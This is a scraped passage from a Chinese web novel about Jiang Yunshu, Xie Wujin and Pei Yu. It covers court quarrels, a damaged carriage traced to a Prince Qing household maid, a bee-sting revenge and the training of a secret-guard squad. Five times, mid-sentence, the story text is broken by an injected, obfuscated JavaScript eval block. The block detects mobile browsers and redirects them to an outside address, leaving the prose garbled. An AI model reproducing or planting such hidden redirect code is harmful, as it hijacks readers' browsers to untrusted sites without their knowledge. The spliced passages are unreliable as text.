庄老夫人的表情拧在一起,好半晌,忽然举起拐杖朝着三皇子就要打,然而,拐杖在半空中停顿许久,终于还是没落下去。 “我,不管了!” 庄老夫人的拐杖重重地落在了地上,随即转身,步履踉跄地往外走。 庄太师盯着庄老夫人离开的背影,握着剑的手关节微微泛白,片刻,他回过神来,看向三皇子。 “臣这便要进宫,三皇子可要随臣一同前往?” 一声自称的“臣”,几句言语疏离的态度,已经将这岌岌可危的舅甥关系推向了边缘化。 三皇子紧抿着唇,片刻应声,“我随舅舅一同进宫。” 庄太师沉了一口气,转身往外走,经过裴钰时,瞧见那一脸的青紫,抬手在他肩膀上拍了拍。 “好小子,没白疼你!” 裴钰扭头看庄太师,扯着那张肿脸嘿嘿一笑,“不算什么,庄心悦没事就行!” “嗯。” 庄太师应一声,抬脚出了院子。 姜云舒扭头看看庄心悦,此时庄夫人和庄心悦正围在裴钰身边照顾。 许是裴钰今晚让人刮目相看,平日里对裴钰并不看好的庄夫人,此时再看他竟然也多了几分疼爱。 裴钰为了安庄夫人的心,将当时的情况细说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜云舒停住,迎着那双乌黑的眼圈,扯了扯嘴角。 “你先告诉我,你这脸是怎么回事?还有,庄心悦好好的,脚怎么了?” 这话问出口,裴钰脸上的气势一下子就散了。 他下意识扯了扯嘴角,疼得他龇牙咧嘴倒吸一口凉气,然后没好气地又瞪了月禾一眼。 “我又不知道那是月禾,当时她扛着庄心悦,那手臂还揽在她的……我那不是急眼了,拿着砖头就冲了过去。” 说着,又转向月禾,“我认不出来是你,你不知道是我啊?下手这么狠,打我就算了,还拿着**往庄心悦脖子上架,我不得跟你玩儿命!” 这话说完,月禾也忍不住叹了一口气。 “认识这么多年,奴婢可是第一次见裴世子急眼的模样,就你那不要命的打法,不将你眼睛打伤,就得将你打成重伤。” 说着,她忽然得意地挑了挑眉,“说起来,你也不亏啊,这伤都在外面,庄夫人看了可不得心软?奴婢这可是帮世子呢!” “呵,我可真是谢谢你,要不是你打这么狠,庄心悦也不会冲过来替我挨打,她不急眼,也不至于从斜坡上滚下去!”裴钰给她一个白眼。 姜云舒站在旁边听着,可算是明白过来,这对苦命鸳鸯是患难见真情,两个都豁出去跟月禾拼命,结果把自己坑了。 啧,也只能怪他们倒霉,没地儿说理。 这边月禾和裴钰说着说着就要吵起来。 “裴世子真是狗咬吕洞宾,你看不出来,我家小姐是在帮庄二小姐吗!”月禾气得跺脚。 裴钰扭头看姜云舒,依旧得理不饶人,“就算庄心悦不愿意嫁给三皇子,三皇子也的确不是什么良人,可你也不能这样凶险行事啊,太鲁莽!” 这话一出,姜云舒真是给他气笑了。 “你这平常鲁莽张狂惯了的人,事情落在庄二身上便小心翼翼了?啧,你要是早跟人家表明心意,也不至于到现在这个地步!”姜云舒还给他一个不屑的眼神。 裴钰被噎了一句,张张嘴,愣是没反驳出口。 月禾见她说不出来,忍不住插一句,“原本小姐的计划只是做做样子,谁曾想还有另一拨人!” “错了,是另两拨人,庄心雅并没有被冤枉,只是她找的人还没来得及动手就被冥风扣住了。” 姜云舒说着,转向裴钰,“若今日没有我阴错阳差的安排,庄心悦怕是真的要出事,方才你当众表明,她出了事还有你兜底,如今人没事,她和三皇子的婚事也算是到此结束,你有什么想法?” “我……” 裴钰瞪着姜云舒,嘴角动了动,一时却不知该说什么。 谢无烬伸手将姜云舒拉到身边。 “婚事不是儿戏,你若不争不抢,在她的人生里就只能做个看客。” 他挑眉看裴钰,那表情仿佛在说,看,得像我这样,又争又抢。 裴钰抬手,拽着姜云舒的另一条胳膊,往回拽了拽,不服气地哼一声。 “我怎么不争不抢了?当初可是我先将聘礼抬去沈家的!” 不光把聘礼抬进了她夫家,还抬了好几次呢! 谢无烬不以为意,“你抬错了地方,而且,你那聘礼里面是什么东西,你自己不清楚?” 裴钰似乎被噎了一句,扯了扯嘴角,“刀枪锁链怎么了?那些可都是我大瑞朝的新型武器,姜云舒就喜欢那些!” “婚娶嫁妆和个人爱好是不一样的,左右你方才连承诺的话都当着庄家人的面说了,你自己想想清楚吧。” 谢无烬不再理会裴钰,转身看向姜云舒,“时候不早了,快些回去歇着,睡不够明日又该心情不好了。” 姜云舒有起床气,很严重的那种,睡不够的确会影响第二天的心情。 说完,不再理会裴钰,谢无烬拉着姜云舒的手便朝客堂的方向走去。 “哎!” 裴钰喊了一声又停住,犹豫了一下,转身朝庄家的客堂去了。 夜深,万籁俱寂,星辰点缀夜空。 姜云舒的确困了,回到客堂便早早睡下,正睡着,却听得窗外传来“哒哒哒”的声音。 若是平常,这起床气定是又要发出来,可此时,她似乎正是在睡梦中等着这动静,倏然睁开眼睛。 “月禾!” 姜云舒朝窗外喊了一声,自己也坐了起来。 月禾就睡在外间,听到动静转身去开了窗,窗外正是一晚上都没见的黑鹰。 黑鹰没理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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皇家赏赐是恩宠,但是这恩宠却是要双手举过头顶托着的,不能随意买卖,也不能损坏。 姜云舒寻着声音看过去,一眼便在人群之中看到了此时幸灾乐祸的穆轻瑶。 “这怎么能怪我们呢,车轮损坏的痕迹平整,分明是被人恶意砍伤的,是有人蓄意毁坏!”月禾大喝一声。 穆轻瑶脸色一沉,又要反驳,却听得人群之外传来喊声。 “长明大师来了,快让让。” 许是众人的动静有些大,亦或者是小沙弥进去禀报,此事竟然惊动了长明大师。 长明大师穿过人群到跟前。 “阿弥陀佛,发生了什么事?” “大师,您看。” 月禾抬手朝那马车的损伤处指了指,“有人蓄意损坏我们的马车!” 长明大师面上未有波动,扭头问身边小沙弥,“昨晚,可听到马厩有什么动静?” “是有动静,但是过去查看时,并没有人在,当时天黑,没注意到马车被损坏。” 沙弥紧忙应答,停顿片刻,似是又想起什么,“当时夜黑,仿佛还有一只大鸟从马厩飞了出去。” “大鸟?哪里来的大鸟?” “佛门庄严之地,应该不会有邪祟的!” 众人不明真相,一时间开始无端揣测。 正猜着,就见月禾伸手吹了一声口哨,随即抬起手臂,众人只觉眼前一黑,反应过来时,一只秃毛鸡便落在了月禾的手臂上。 “哎哟,这是个什么东西!” “鸡……吧?不对呀,还没见过这么大鸡呢!” “什么鸡啊,这分明是鹰,当初渊政王府谢世子似乎送了一只黑鹰给乐安县主来着。” 听着人们叫自己鸡,黑鹰不满的朝着众人扑棱扑棱翅膀,月禾伸手安抚,随后又将托着黑鹰的手抬起来。 “黑仔,昨晚你跟谁打了,将那人找出来。”月禾道。 黑鹰犀利的眼睛转了转,突然间扑棱着翅膀朝着人群中飞了过去。 众人吓了一跳,下意识抬手挡住脸,等回过神来,就见黑鹰扑棱着翅膀冲向了穆轻瑶身边的侍女。 周边众人吓得四散离开,一时间,黑鹰和那侍女竟有来有往地打在了一处。 围观的众人震惊地瞪大眼睛,没想到黑鹰的攻击性这么强,更没想到穆轻瑶身边的侍女武功这么高。 另一边,姜云舒和谢无烬的视线盯在那侍女的手上,见她朝着腰间摸过去,谢无烬一个闪身冲到跟前。 迎面的一掌,逼得侍女接连后退几步,在自我防护的瞬间,双手成虎爪朝着谢无烬的太阳穴扣过来,然而她的速度不及,被谢无烬一脚踹在腰间。 “砰!” 巨大的落地声音传来,那侍女直接被踹出去几十米远。 众人惊得瞪大眼睛,尤其是庆王府众人,更是惊得愣在原地,等反应过来,那侍女已经躺在地上,起身时猛地吐出一口血。 “这,这是怎么回事!” 庆王反应过来,冷厉的眸子看向谢无烬,“这里是京城,不是谢世子可以放肆撒野的淮州,你纵容黑鹰攻击我庆王府侍女,又出手伤人,若不能给本王一个解释,今日本王定要去皇上面前要个说法!” 在庆王这里,谢无烬的名声的确算不上好,甚至,对他当年屠城之事颇有微词。 谢无烬似乎是被人质疑习惯了,倒也不在意,他一脚踩在侍女的身上,抬头迎着庆王愤怒的视线看过去。 “庆王也是习武之人,难道方才没有认出,她所用是北夷招式?” 谢无烬面上带着笑,可这话一出口,又将众人的震惊再添一层。 便是庆王的表情也一瞬间僵住,随即回想刚才侍女与谢无烬过招,脸色瞬间阴沉下来。 “自姜家流放崖州之后,北夷与大瑞朝的关系再度紧张起来,此时,庆王府却出了一个北夷的侍女,而且,这侍女的武功还不低。” 谢无烬勾着唇角,说着话弯下腰,一把将那侍女缠在腰间的软剑抽了出来。 他举着手将那软剑在阳光下晃了晃,眯起眼睛,“据我所知,目前只有北夷驼铃矿出的矿铁才能锻造出这样的软剑,是以,这软剑很是珍贵,便是在北夷,能用这样软剑的也是非富即贵,可它又出现在一个侍女身上,庆王殿下,如今不是我给你一个说法,而是你要给皇上一个解释!” 话音落,谢无烬的眸光骤然一沉,手中软剑便朝庆王的方向指了过去。 众人眸光一凛,倒吸一口凉气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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震惊的同时,众人的视线落在那把剑上,这才发现,被损坏的车轮上面的伤口,竟与那把软剑的剑刃重合! 第199章 得理不轻易饶人 就在众人怔愣瞬间,月禾上前一步,抡起手臂“啪”的一巴掌抽在那侍女脸上。 “你好大的胆子,那可是太后赏赐之物,你怎么敢损坏!”月禾瞪着眼睛。 侍女被抽的偏过脸去,好半晌才回过神来,扭头迎着月禾的怒目看过去。 “呵,仗着是太后赏赐的东西便欺负我家小姐,我家小姐知书达理不能与你们计较,我却咽不下这口气,我一人做事一人当,要杀要剐悉听尊便!” 说完,她脖子一横。 月禾眼睛一瞪,还没说话,却见穆轻瑶紧忙开口。 “莫子,你这是做什么!” 她朝着侍女莫子摇头,随即看向姜云舒,“姜云舒,损坏的马车我可以赔偿,何必要人性命!” 姜云舒一直在旁边看戏不语,此时被穆轻瑶点名,这才缓缓撩起眉梢。 “穆三小姐,方才你也说了,损坏太后赏赐的东西,应该是什么罪责?哦,这不是一般的损坏,而是恶意损坏!” 她勾引着唇角,朝穆轻瑶眨了眨眼睛。 穆轻瑶一噎,这罪责,她承担不起,只能求助庆王。 几个人说话之间,庆王已经大概明白了其中缘由,即便此时没有直接证据指向穆轻瑶,可那到底是她的人。 “车辆损坏,自是不能再用,本王这便差人将马车带回,之后以本王的名义送去工部修理,另外,在马车修好之前,庆王府再送乐安县主一辆马车权当做赔礼,小女管束下人不当,之后本王亦会敦促她亲自登门致歉。” 儿女做事不当,自有家长出来承担责任。 庆王依旧如往常那般沉冷,说着,扭头看向姜云舒,“本王如此处置,县主可还满意?” 不得不说,庆王虽身份尊贵,却也正直,除了偏爱侧妃,再没有引人议论之处,如今看来,穆轻瑶也算是他人生中的一个污点了。 “登门致歉不至于,只是我尚有疑惑,不知是哪里得罪了三小姐,致使三小姐几次找茬。” 这话姜云舒没有明说,但庆王和凌侧妃脸上微微起了变化。 穆轻瑶看向谢无烬这件事,他们再清楚不过,之前她提及这事,已经被庆王教训过,谁知她那不该有的心思依旧不灭,如今竟然还闹到姜云舒这里。 真真是丢人现眼。 姜云舒也并没想听他们回答,只瞧着庆王和凌侧妃神情变化,再次开口,“若我真有得罪穆三小姐之处,这一次算是扯平了,我不希望与人结怨,却也不必处处忍让。” 她的话柔和却并不软。 再一再二没有再三再四,下一次,再没有台阶,而此时这个台阶,给的也不是穆轻瑶,而是庆王府。 别的不说,庆王府一直是仁春堂的大客户,之前备下的归元丹多数也是为老太妃备下的,没有必要为了一个穆轻瑶断了自己的生意。 “你!” 穆轻瑶猛地朝姜云舒瞪眼,只是话还没说出来,就被凌侧妃一个眼神制止。 “乐安县主仁厚,本王定然会对小女严加管束。”庆王沉冷回应一声。 “劳烦庆王殿下!”姜云舒勾了勾唇角,回给庆王一个笑容。 众人听着姜云舒这话,又下意识看向庆王。 庆王管束自己的女儿还要劳烦?姜云舒这回应真是不怕得罪庆王啊! 她的警告意味很明显了,下次若穆轻瑶再不知死活凑上来庆王府也不能怪人家不给留面子。 庆王自然也明白姜云舒话里的意思,眉心微蹙,正要说话,却见姜云舒又笑着开口。 “还有一句话,还请庆王殿下恕我多嘴,这侍女莫子对三小姐有救命之恩,在三小姐眼里与其他侍女定然不同,而她便是仗着这份特殊才敢擅自行动,这里是京城天子脚下,一个不受控制的家仆,即便再忠心,对于主家来说,也不是什么好事,还请庆王殿下三思。” 姜云舒还是那般平和的语气,言语之间亦没有情绪,只是单纯陈述事实,可三言两语之间,已经对莫子的命运有了巨大的影响。 庆王眸色深沉,扭头,严厉的眼神在莫子身上扫过来,冷冷开口,“来人,将这不知死活的恶奴绑起来,送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192456|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到刑部审问!” 若只是一个家仆奴才,自己带回去处置了便是,可这莫子是北夷人,还是一个能用赤铁软剑出身不低的人,为了撇清嫌疑,将人送去刑部是此时最好的选择。 庆王府众人提着的一颗心稍稍缓和下来,想着这件事因该就到这里了,可谁知穆轻瑶突然起身冲到庆王前跟。 “爹?” 穆轻瑶瞪眼睛,难以置信的看向庆王,“爹,莫子救过我的命,您不能这样啊!爹……” 庆王眉头紧蹙。 蠢货!这个时候还敢拦着,她是想让整个庆王府因为一个侍女跟着倒霉吗! 凌侧妃也惊得紧忙上前拽住穆轻瑶。 “好了,你给我闭嘴!” 不等庆王开口,她紧忙招呼下人,“来人,将三小姐送上马车!” 庆王府的嬷嬷紧忙应声上前,拽着还在哭喊的穆轻瑶往外走。 一场闹剧,到此为止。 随着庆王府众人离开,一旁看热闹的众人也逐渐散了。 人群之中,沈清安和老夫人在角落里,脸上的表情变了好几变。 以前也知道姜云舒为人处世有她的手段,此时作为局外人才真真体会到她的冷厉,明明脸上带着笑,却态度强硬,面上给庆王府留了脸面和台阶,实际却让庆王不得不做出对应惩罚和赔偿。 她忍让大度为人谦和,却一点亏都没有吃。 此时老夫人瞪大眼睛,回想着以前对姜云舒的种种,想想都可怕。 然而,一旁的沈清安却是真真切切感觉到了疼,脸疼! 当初姜云舒当众宣布休夫时的决绝,让他到现在都没有缓过来。 不,不是没有缓过来,而是依旧不甘心,明明是姜云舒先表露真心,明明是她要成婚,凭什么她说不要就不要了? 凭什么,凭什么都是她说了算! 沈清安的拳头攥着,眼睛紧紧盯着姜云舒,他不甘心,有种明明不想丢弃的东西却突然遗失了的恍然。 他还没想丢掉姜云舒,他得将她找回来! 第200章 不会是在吃醋吧 此时姜云舒的马车已经被庆王府的侍卫拉走,周边众人也各自上了马车准备离开,沈清安犹豫要不要邀请姜云舒同,却见谢无烬先他一步到了姜云舒跟前。 “今日若还要去清风村的话,就上我的马车吧!” 谢无烬朝姜云舒努了努嘴,一旁,渊政王府的马车边上,卫临冲掀开车帘朝姜云舒做了个“请”的姿势。 姜云舒扯了扯嘴角,扭头看谢无烬。 “你不送元太妃回去?” “她又不是不认识路,我不在京城时,也没见她耽误回去。”谢无烬一句话说得寒凉至极。 姜云舒不知道谢无烬和元太妃之间发生过什么,此时也没有心思多管那闲事,抿了抿唇,跟着上了马车,甚至没再给沈清安一个眼神。 随着两人上车,车夫的鞭子在空中一甩,马车缓缓动起来,朝着山下奔去。 沈清安要说话的话卡在喉咙里,瞪着那已经离远了的马车,咬牙切齿。 谢无烬,自从他回来之后,姜云舒的态度才开始转变,姜云舒敢休夫,其中一定少不了他的撺掇。 一个双手染血,对全程百姓屠戮的人,能是什么好人! 杀了他。 战场上,文官对武将束手无策,可在朝堂之上,让一个武将**,手段有的是! 此时官道上,谢无烬和姜云舒分坐马车两边,黑鹰不知什么时候从窗户钻了进来,落在姜云舒手臂上。 谢无烬听到动静眯着眼睛瞧了黑鹰一眼,这一眼,让他忍不住笑出声。 “呵,头回见它战成秃毛鸡,倒是别致。” “呜呜!” 黑鹰扑棱着翅膀**。 姜云舒紧忙伸手摸着鹰头安抚,“好看,好看着呢!” 不是,传说中的威武猛禽呢,这鹰怎么这么爱撒娇,还小心眼? 谢无烬眯着眼睛瞧她哄鹰,深邃的眸中漾出一抹柔和,看着看着,随后似乎想起什么,沉沉叹一口气。 “太后赏赐的马车,你可真舍得。” 太后留给姜云舒的东西不少,可那马车的意义不一样,那辆马车是太后送姜云舒出嫁的嫁妆,即便如今她已经离开沈家,那依旧是姜云舒的念想。 “当然舍不得。” 姜云舒顺口接话,“早在来崇光寺时,穆轻瑶故意挡我的路,我就知道她不会消停,便提前着人在马车外围做了防护,晚上明处有黑鹰守着,暗处还有冥风,便是那侍女武功高强也不会得手。” “可那车轮还不是损坏了?”谢无烬揶揄她。 姜云舒抚着鹰头的手顿了一下,抬头看他,清亮的眸中闪过一抹得意。 “其实吧,那车轮本来就坏了,上次我让郭攀拉去工部修理,工部让我排队,要等月余呢,如今交给庆王去排,应该能提前许多。” 说完,朝谢无烬扬了扬下巴,那得意之中更多了一丝狡黠。 便是谢无烬这般在战场上善诡道之人,此时听到姜云舒的话,亦是忍不住笑出了声。 “我就说你怎么会这般好说话,轻易就算了。” 要说姜云舒小心眼,倒也不是,多数时候她都挺平和的,大概也是因为那事不值得她费心思,可一旦惹恼了让她计较起来,那可就不是轻易能算了的。 若非姜云舒这般小算计,恶意损坏太后赏赐的马车这件事,在她眼里便不是什么利益调解能过去的了。 这性子,真真跟小时候一样,丝毫没变。 就在谢无烬感叹时,却见姜云舒眉梢一扬。 “谁说我算了的?” 这话刚出口,就听马车外面传来嘈杂的吵闹声,其中还有几声尖锐的叫声。 谢无烬眸色一沉,伸手拉开马车帘,就见外面沈家的马车已经被蜂群围住。 马夫没能拉住缰绳,让惊了的马疯跑起来,这边官道两侧是堆砌的石头,马车压上石头,倾斜之中剧烈一晃,就将里面的沈老夫人甩了下去。 “啊——” 沈老夫人拖着惊悚的声音从马车里飞出去,“砰”的一声摔在了地上,紧接着就被蜂群围住了。 惨叫声直冲耳膜,姜云舒于心不忍,然后扭头不看了。 嗯,看不见就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192457|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会不忍心了。 结果,刚扭过头来,就见另一边,穆轻瑶的马车也被蜂群团团围住。 庆王府的马夫死死拉住缰绳,倒是没惊了马,可马车里传来的哭声和惨叫声比刚才沈家老夫人这边还凄厉。 一时间,井然有序的行进路线被打断了。 临近的几家队伍见有蜂群,纷纷调转方向远离,人人避之不及。 谢无烬扭头看姜云舒,“又是你安排的?难不成,你还有控制蜂群的本事?亦或者说,你不怕惹火上身?” 大家走的都是这条路线,若是为了给穆轻瑶一个教训,这风险也太大了,不像姜云舒的风格。 姜云舒饿了,伸手从马车的点心架子上捻起一片糕点,小口咬了一口。 “这是马孑蜂,除非身上沾染了灵香花粉,一般不会乱蜇人。” 说着,她伸手掀开车帘,朝沈家和穆轻瑶的马车方向看去,似是解释一般。 “沈家马车上的灵香花粉是我命黑鹰沾上去的,穆三小姐身上的,她若没有派那侍女去动我的马车,也不会沾上,我马车上的灵香花粉已经清除干净,便是查也查不到我的头上,怪也只能怪她为了跟元太妃靠近乎,从沈家马车边上路过。” 她做事向来严谨,既不喜欢牵连无辜,也不会留下把柄。 正说着,就感觉身边一阵气压压过来,抬头,谢无烬的脸已经在跟前。 “阿舒,你做事向来有分寸,如今这般对穆轻瑶,该不会是……吃醋?” 他的脸就在眼前,呼吸之间几乎能与姜云舒交缠。 姜云舒呼吸一滞,只觉脸颊发烫,一时间嘴唇轻颤却忘了要说什么,须臾,她抬手将点心塞进了他嘴里。 “我这个人,睚眦必报!” 谢无烬被点心堵了嘴,一边嚼着,看着她笑。 翌日,清晨的阳光从树叶之间透过来,洒下点点光斑。 姜云舒刚醒,正在梳妆,裴钰便顶着两个乌眼青冲到了县主府。 【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】 第201章 万踪林,暗卫队 “姜云舒,你听说了吗,昨晚太师和三皇子进宫之后,皇上生了好大的气,收了三皇子城守的权利,还罚了他一个月的禁闭!” 大概是太过兴奋,裴钰进来,开场白都省了。 相比裴钰,姜云舒倒是平静许多,亦或者说,如今这般结果,早在她的预料之中。 涉及两家婚事,这件事本就是皇后想要恢复与太师府关系的一步棋,皇上不在乎三皇子有没有靠山,他在乎的是,此时的局面是不是在他的掌控之内。 而最近三皇子也的确动作颇多,皇上本就要找机会敲打他,如今两件事凑在一起,三皇子这城守的权利定然拿不住了。 这也正是她之前刻意引导三皇子去崇光寺的原因,卸了三皇子的职,她才好从城守突破调查,毕竟,赤羽军中有不少人调去了城守。 那些人在京城都能抢到城守这一肥差之地,想来不只是运气好。 “什么嘛,你这表情,是都知道了?怎的不派人知会我?害我白白等了一晚上。”裴钰没好气的坐下,伸手给自己倒了一杯茶。 姜云舒透过铜镜看向身后的裴钰,问他,“你呢?” “嗯?” 裴钰愣了一下,回过神来,姜云舒是问他对庄心悦的打算,抬手摸了摸鼻子,道:“娘是说要准备准备去太师府提亲的,但经那晚一闹,庄家老夫人生了病,等等吧,庄老夫人好了之后再去。” 虽然还没走明面,但这事儿两家已经通了气儿,算是定下来了。 姜云舒唇角弯起笑意,这一趟,总算没白忙活。 裴钰瞧她笑得开心,不由得撇撇嘴,“看来,我在你这里的确没有任何胜算。” 心里酸溜溜的是怎么回事? 姜云舒转身,抬手在裴钰肩上拍了拍,“你要什么胜算呢,你本就当我是姐姐,便是当初带着聘礼来沈家,也不过是为了给我出口气,我和庄心悦在你心里的位置不一样的。” 裴钰蹙眉认真的想了想,点头,“的确不一样,跟你在一起遇到危险,我想的是让你**他,跟庄心悦在一起遇到危险,我想的是怎么才能**别人,让她逃脱……” 姜云舒无语,扭头给了他一个白眼。 裴钰并不在意,嘿嘿朝她一笑,随即又想起什么,往她跟前凑了凑。 “对了,今天我最想跟你说的是,穆轻瑶伤了脸,凌侧妃大怒,一定要庆王彻查到底,结果这一查就查到了沈清安身上,沈清安私自种植异域药材,引来马孑蜂伤人,京兆府勒令沈清安将灵香草全部拔除不说,还得赔庆王府一千两银子,可真是倒了大霉!” 说着,他看向姜云舒,“要不说还得是你,折腾了一晚上,办了这么多事儿!” “沈清安也不算倒霉,只是他不懂京城的规矩罢了。” 姜云舒端起杯盏,朝裴钰抬了抬。 沈清安以为,只要留在京城便可施展拳脚,可是他忽略了,京城之地本就关系错综复杂,如他这般出身,身后没有人托举,很难成事。 姜云舒直到现在都不明白,沈清安为什么要背叛将军府,相处之下,可以判断,他为了高芝兰的几率并不大。 那么,是有人许诺了他高官厚禄?可是以沈清安此时的境遇,他似乎也并没有得到什么实质性的好处。 “对了,过几日我要出门一趟,京城之中诸事便交给你了。”姜云舒交代一声。 裴钰喝着茶,眼皮一撩,问,“什么事情需要你亲自出门?要去多久?” “大概十日。”姜云舒刻意回避了他问的什么事。 给皇上训练暗卫本是机密,便是裴钰也不能透露。 裴钰似乎也习惯了她行事独来独往,点点头,“行吧,有我在,你放心便是,不过,还有一件事得提醒你,三皇子虽关了禁闭,但手底下的动作并未停止,甚至,他的人还去了乾山。” 乾山,雷土矿。 姜云舒联想到这一处时,眉头微微一蹙。 看来,三皇子此时已经反应过来了。 瞧着姜云舒神情凝重,裴钰露出笑意,朝她摆了摆手。 “你也不用紧张,之前让我存放的那批雷土我已经安排妥当,乾山那边你放心便是,三皇子不敢以**得到雷土,既然不能是**,那这雷土就到不了他手里。” 姜云舒思量片刻,稍稍点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197311|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 翌日,春末的风带着丝丝热意,此时,天已经暖了起来。 姜云舒这日比往常醒的都早,趁着天还没有亮便乘坐马车出了门。 此番出门,行为隐蔽,姜云舒只带了冥风月禾兄妹,便是衣服和装束都是在马车上换的。 迎着朝阳大概行进了一个时辰,马车缓缓在万踪林的小入口停了下来。 冥风将马车安置在隐蔽之处,随即放出引路蛇,几个人跟着引路蛇进了林子。 到了之前死士训练的山涧,此时,皇上选出的暗卫队已经等着了。 三十六人的队伍,整整齐齐分列站在山涧之前,见进来的是两个年纪不大的女子,眼中不由浮出一抹诧异。 “大家久等了。”姜云舒上前打招呼。 众人的视线在姜云舒和月禾身上扫过,神情略沉。 “高手在哪里?” 这时,队伍中一个看起来年纪略长的男子开口,“雷统领交代,此处会有高手统管我等训练。” 所谓高手,应该是如雷统领那般,在高手排行榜中占据一席之地的人物才是。 眼前这两位,看起来就是十几岁的小姑娘,便是眼神犀利,可身体纤瘦,怎么都不能与“高手”两个字挂钩。 众人轻视的视线太过明显,姜云舒看不出来都难,她勾了勾唇角,点那刚才说话的人。 “你出列。” 随即又吩咐月禾,“试试他的实力。” 说完,转身往后走几步,靠在山涧旁边的巨石上。 众人楞了一下,她是让身边那个小丫头跟郭照比? 众人眼中带着嘲讽往两侧退了几步,将战场让开。 呵,这小丫头身高刚到郭照肩膀,身形看来也纤瘦,过不了五招…… 三招,笑容一瞬间在众人的脸上僵住。 他们眼睁睁的看着郭照被月禾一脚踹进了山涧之中,“扑通”一声,山涧里炸开一个巨大的浪花。 此时,他们都笑不出来了。 “就这水平?” 月禾收势,仰着头看向众人,又朝众人挑了挑手,“你们两个,一起上。” 第202章 自尊心碾压 月禾点的是侍卫队中身形体格最好的两个人,其中一人神情冷沉,眉毛之间有一道闪电疤痕,许是那疤痕将眉毛劈开影响面容,他眼底的阴郁和杀意都明显比其他人强烈一些。 被月禾点名,两人眼底兴奋燃起,猛地出招向月禾攻了过来。 月禾抬手挡下其中一个人的攻势,同时勾腿朝那闪电眉飞出一脚,三个人手里都没有武器,一时间缠斗在一起。 刚才暗卫队众人已经见识到月禾的招数凌厉,此时再也不敢轻看,一边看着三个对招,心中不由得捏了一把汗。 姜云舒依旧倚在那巨石边上,半眯着眼睛瞧那两人招数走势。 片刻,三个人各自挨了一招后,连退几步,姜云舒这才站直身体,深深沉一口气。 “不愧是雷统领亲自挑选的人,悟性的确很高,只是,怎么跟着他习武,性子也跟着学,眼睛都长到脑袋顶上了。” 姜云舒一边说着,走到那闪电眉跟前,“不可一世的前提是自己足够强,很显然,你们距离那个程度还差得远!” “我们不过训练一年,你身边那姑娘的功力起码十年!” 闪电眉不服气地昂起头。 月禾当即甩给他一个白眼,“姐姐我三岁便使**了,刚才跟你们还是收着劲儿的,你若不服气,再来!” 说着,双拳相交,又要再战。 “这次不用你!” 姜云舒伸手压在月禾肩膀上,随着一个响指,六名赤羽卫瞬间现身。 “赤翎,给这帮不懂事的长长记性!” 说完,转身拉着月禾往旁边凉亭走去。 赤羽卫长时间没什么动手的任务,早就技痒了,此时得了命令,不由分说朝着众人出手,三十六人对六人,一时间,拳脚相交的打斗在山涧边上散开。 姜云舒没再理会那边,只带着月禾到了凉亭。 这凉亭还是之前那帮**训练时留下的,当时三皇子带人来“剿匪”时破坏了一部分,姜云舒早就打这里的主意,让冥风悄悄修缮起来了。 “坐下。”姜云舒道。 月禾视线从山涧那边收回来,皱着眉头,一脸不情愿的看向姜云舒。 “小姐,为何不让奴婢动手了,这帮人就是欠磨搓!” “磨搓自然是要磨搓的,但你别逞强,这几日不准动手。” 说着,她转身从旁边食盒里掏出一个药葫芦,“呐,把这四物汤喝了。” 女子并不比男子差,除了这每月都要来烦扰一回的月信。 “哦……” 月禾不情愿地应一声,无奈接过药葫芦,咕咚咕咚几口喝完,转身又看向山涧的方向。 